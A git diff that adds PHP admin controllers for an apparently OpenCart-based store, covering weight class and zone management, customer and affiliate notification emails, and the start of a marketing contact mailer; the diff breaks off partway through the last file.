+ $data['cancel'] = $this->url->link('localisation/weight_class', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['weight_class_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $weight_class_info = $this->model_localisation_weight_class->getWeightClass($this->request->get['weight_class_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['weight_class_description'])) {
+ $data['weight_class_description'] = $this->request->post['weight_class_description'];
+ } elseif (isset($this->request->get['weight_class_id'])) {
+ $data['weight_class_description'] = $this->model_localisation_weight_class->getWeightClassDescriptions($this->request->get['weight_class_id']);
+ } else {
+ $data['weight_class_description'] = array();
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($weight_class_info)) {
+ $data['value'] = $weight_class_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/weight_class_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/weight_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['weight_class_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['title']) < 3) || (utf8_strlen($value['title']) > 32)) {
+ $this->error['title'][$language_id] = $this->language->get('error_title');
+ }
+
+ if (!$value['unit'] || (utf8_strlen($value['unit']) > 4)) {
+ $this->error['unit'][$language_id] = $this->language->get('error_unit');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/weight_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $weight_class_id) {
+ if ($this->config->get('config_weight_class_id') == $weight_class_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $product_total = $this->model_catalog_product->getTotalProductsByWeightClassId($weight_class_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/zone.php b/public/admin/controller/localisation/zone.php
new file mode 100644
index 0000000..85802d7
--- /dev/null
+++ b/public/admin/controller/localisation/zone.php
@@ -0,0 +1,393 @@
+load->language('localisation/zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/zone');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/zone');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_zone->addZone($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/zone');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_zone->editZone($this->request->get['zone_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/zone');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $zone_id) {
+ $this->model_localisation_zone->deleteZone($zone_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'c.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/zone/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/zone/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['zones'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $zone_total = $this->model_localisation_zone->getTotalZones();
+
+ $results = $this->model_localisation_zone->getZones($filter_data);
+
+ foreach ($results as $result) {
+ $data['zones'][] = array(
+ 'zone_id' => $result['zone_id'],
+ 'country' => $result['country'],
+ 'name' => $result['name'] . (($result['zone_id'] == $this->config->get('config_zone_id')) ? $this->language->get('text_default') : null),
+ 'code' => $result['code'],
+ 'edit' => $this->url->link('localisation/zone/edit', 'user_token=' . $this->session->data['user_token'] . '&zone_id=' . $result['zone_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_country'] = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . '&sort=c.name' . $url, true);
+ $data['sort_name'] = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . '&sort=z.name' . $url, true);
+ $data['sort_code'] = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . '&sort=z.code' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $zone_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($zone_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($zone_total - $this->config->get('config_limit_admin'))) ? $zone_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $zone_total, ceil($zone_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/zone_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['zone_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['zone_id'])) {
+ $data['action'] = $this->url->link('localisation/zone/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/zone/edit', 'user_token=' . $this->session->data['user_token'] . '&zone_id=' . $this->request->get['zone_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['zone_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $zone_info = $this->model_localisation_zone->getZone($this->request->get['zone_id']);
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($zone_info)) {
+ $data['status'] = $zone_info['status'];
+ } else {
+ $data['status'] = '1';
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($zone_info)) {
+ $data['name'] = $zone_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($zone_info)) {
+ $data['code'] = $zone_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ if (isset($this->request->post['country_id'])) {
+ $data['country_id'] = $this->request->post['country_id'];
+ } elseif (!empty($zone_info)) {
+ $data['country_id'] = $zone_info['country_id'];
+ } else {
+ $data['country_id'] = '';
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/zone_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/zone')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 1) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/zone')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('customer/customer');
+ $this->load->model('localisation/geo_zone');
+
+ foreach ($this->request->post['selected'] as $zone_id) {
+ if ($this->config->get('config_zone_id') == $zone_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByZoneId($zone_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $address_total = $this->model_customer_customer->getTotalAddressesByZoneId($zone_id);
+
+ if ($address_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_address'), $address_total);
+ }
+
+ $zone_to_geo_zone_total = $this->model_localisation_geo_zone->getTotalZoneToGeoZoneByZoneId($zone_id);
+
+ if ($zone_to_geo_zone_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_zone_to_geo_zone'), $zone_to_geo_zone_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/mail/affiliate.php b/public/admin/controller/mail/affiliate.php
new file mode 100644
index 0000000..0cf97de
--- /dev/null
+++ b/public/admin/controller/mail/affiliate.php
@@ -0,0 +1,114 @@
+load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($args[0]);
+
+ if ($customer_info) {
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = html_entity_decode($store_info['name'], ENT_QUOTES, 'UTF-8');
+ $store_url = $store_info['url'];
+ } else {
+ $store_name = html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8');
+ $store_url = HTTP_CATALOG;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($customer_info['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ $language = new Language($language_code);
+ $language->load($language_code);
+ $language->load('mail/affiliate_approve');
+
+ $subject = sprintf($language->get('text_subject'), $store_name);
+
+ $data['text_welcome'] = sprintf($language->get('text_welcome'), $store_name);
+
+ $data['login'] = $store_url . 'index.php?route=affiliate/login';
+ $data['store'] = $store_name;
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender($store_name);
+ $mail->setSubject($subject);
+ $mail->setText($this->load->view('mail/affiliate_approve', $data));
+ $mail->send();
+ }
+ }
+
+ public function deny(&$route, &$args, &$output) {
+ $this->load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($args[0]);
+
+ if ($customer_info) {
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = html_entity_decode($store_info['name'], ENT_QUOTES, 'UTF-8');
+ $store_url = $store_info['url'];
+ } else {
+ $store_name = html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8');
+ $store_url = HTTP_CATALOG;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($customer_info['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ $language = new Language($language_code);
+ $language->load($language_code);
+ $language->load('mail/affiliate_deny');
+
+ $subject = sprintf($language->get('text_subject'), $store_name);
+
+ $data['text_welcome'] = sprintf($language->get('text_welcome'), $store_name);
+
+ $data['contact'] = $store_url . 'index.php?route=information/contact';
+ $data['store'] = $store_name;
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender($store_name);
+ $mail->setSubject($subject);
+ $mail->setText($this->load->view('mail/affiliate_deny', $data));
+ $mail->send();
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/mail/customer.php b/public/admin/controller/mail/customer.php
new file mode 100644
index 0000000..d29db8c
--- /dev/null
+++ b/public/admin/controller/mail/customer.php
@@ -0,0 +1,114 @@
+load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($args[0]);
+
+ if ($customer_info) {
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = html_entity_decode($store_info['name'], ENT_QUOTES, 'UTF-8');
+ $store_url = $store_info['url'];
+ } else {
+ $store_name = html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8');
+ $store_url = HTTP_CATALOG;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($customer_info['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ $language = new Language($language_code);
+ $language->load($language_code);
+ $language->load('mail/customer_approve');
+
+ $subject = sprintf($language->get('text_subject'), $store_name);
+
+ $data['text_welcome'] = sprintf($language->get('text_welcome'), $store_name);
+
+ $data['login'] = $store_url . 'index.php?route=account/login';
+ $data['store'] = $store_name;
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender($store_name);
+ $mail->setSubject($subject);
+ $mail->setText($this->load->view('mail/customer_approve', $data));
+ $mail->send();
+ }
+ }
+
+ public function deny(&$route, &$args, &$output) {
+ $this->load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($args[0]);
+
+ if ($customer_info) {
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = html_entity_decode($store_info['name'], ENT_QUOTES, 'UTF-8');
+ $store_url = $store_info['url'];
+ } else {
+ $store_name = html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8');
+ $store_url = HTTP_CATALOG;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($customer_info['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ $language = new Language($language_code);
+ $language->load($language_code);
+ $language->load('mail/customer_deny');
+
+ $subject = sprintf($language->get('text_subject'), $store_name);
+
+ $data['text_welcome'] = sprintf($language->get('text_welcome'), $store_name);
+
+ $data['contact'] = $store_url . 'index.php?route=information/contact';
+ $data['store'] = $store_name;
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender($store_name);
+ $mail->setSubject($subject);
+ $mail->setText($this->load->view('mail/customer_deny', $data));
+ $mail->send();
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/mail/forgotten.php b/public/admin/controller/mail/forgotten.php
new file mode 100644
index 0000000..c4f6029
--- /dev/null
+++ b/public/admin/controller/mail/forgotten.php
@@ -0,0 +1,26 @@
+load->language('mail/forgotten');
+
+ $data['text_greeting'] = sprintf($this->language->get('text_greeting'), html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'));
+
+ $data['reset'] = str_replace('&', '&', $this->url->link('common/reset', 'code=' . $args[1], true));
+ $data['ip'] = $this->request->server['REMOTE_ADDR'];
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($args[0]);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(html_entity_decode(sprintf($this->language->get('text_subject'), html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8')), ENT_QUOTES, 'UTF-8'));
+ $mail->setText($this->load->view('mail/forgotten', $data));
+ $mail->send();
+ }
+}
diff --git a/public/admin/controller/mail/return.php b/public/admin/controller/mail/return.php
new file mode 100644
index 0000000..a7d8ca4
--- /dev/null
+++ b/public/admin/controller/mail/return.php
@@ -0,0 +1,58 @@
+load->model('sale/return');
+
+ $return_info = $this->model_sale_return->getReturn($return_id);
+
+ if ($return_info) {
+ $this->load->language('mail/return');
+
+ $data['return_id'] = $return_id;
+ $data['date_added'] = date($this->language->get('date_format_short'), strtotime($return_info['date_modified']));
+ $data['return_status'] = $return_info['return_status'];
+ $data['comment'] = strip_tags(html_entity_decode($comment, ENT_QUOTES, 'UTF-8'));
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($return_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(sprintf($this->language->get('text_subject'), html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'), $return_id));
+ $mail->setText($this->load->view('mail/return', $data));
+ $mail->send();
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/mail/reward.php b/public/admin/controller/mail/reward.php
new file mode 100644
index 0000000..8d72ad7
--- /dev/null
+++ b/public/admin/controller/mail/reward.php
@@ -0,0 +1,65 @@
+load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($customer_id);
+
+ if ($customer_info) {
+ $this->load->language('mail/reward');
+
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = $store_info['name'];
+ } else {
+ $store_name = $this->config->get('config_name');
+ }
+
+ $data['text_received'] = sprintf($this->language->get('text_received'), $points);
+ $data['text_total'] = sprintf($this->language->get('text_total'), $this->model_customer_customer->getRewardTotal($customer_id));
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->protocol = $this->config->get('config_mail_protocol');
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($store_name, ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(sprintf($this->language->get('text_subject'), html_entity_decode($store_name, ENT_QUOTES, 'UTF-8')));
+ $mail->setText($this->load->view('mail/reward', $data));
+ $mail->send();
+ }
+ }
+}
diff --git a/public/admin/controller/mail/transaction.php b/public/admin/controller/mail/transaction.php
new file mode 100644
index 0000000..5a3078a
--- /dev/null
+++ b/public/admin/controller/mail/transaction.php
@@ -0,0 +1,64 @@
+load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($customer_id);
+
+ if ($customer_info) {
+ $this->load->language('mail/transaction');
+
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = $store_info['name'];
+ } else {
+ $store_name = $this->config->get('config_name');
+ }
+
+ $data['text_received'] = sprintf($this->language->get('text_received'), $this->currency->format($amount, $this->config->get('config_currency')));
+ $data['text_total'] = sprintf($this->language->get('text_total'), $this->currency->format($this->model_customer_customer->getTransactionTotal($customer_id), $this->config->get('config_currency')));
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($store_name, ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(sprintf($this->language->get('text_subject'), html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8')));
+ $mail->setText($this->load->view('mail/transaction', $data));
+ $mail->send();
+ }
+ }
+}
diff --git a/public/admin/controller/marketing/contact.php b/public/admin/controller/marketing/contact.php
new file mode 100644
index 0000000..285bcaa
--- /dev/null
+++ b/public/admin/controller/marketing/contact.php
@@ -0,0 +1,247 @@
+load->language('marketing/contact');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/contact', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['cancel'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true);
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = $this->model_setting_store->getStores();
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketing/contact', $data));
+ }
+
+ public function send() {
+ $this->load->language('marketing/contact');
+
+ $json = array();
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST') {
+ if (!$this->user->hasPermission('modify', 'marketing/contact')) {
+ $json['error']['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['subject']) {
+ $json['error']['subject'] = $this->language->get('error_subject');
+ }
+
+ if (!$this->request->post['message']) {
+ $json['error']['message'] = $this->language->get('error_message');
+ }
+
+ if (!$json) {
+ $this->load->model('setting/store');
+ $this->load->model('setting/setting');
+ $this->load->model('customer/customer');
+ $this->load->model('sale/order');
+
+ $store_info = $this->model_setting_store->getStore($this->request->post['store_id']);
+
+ if ($store_info) {
+ $store_name = $store_info['name'];
+ } else {
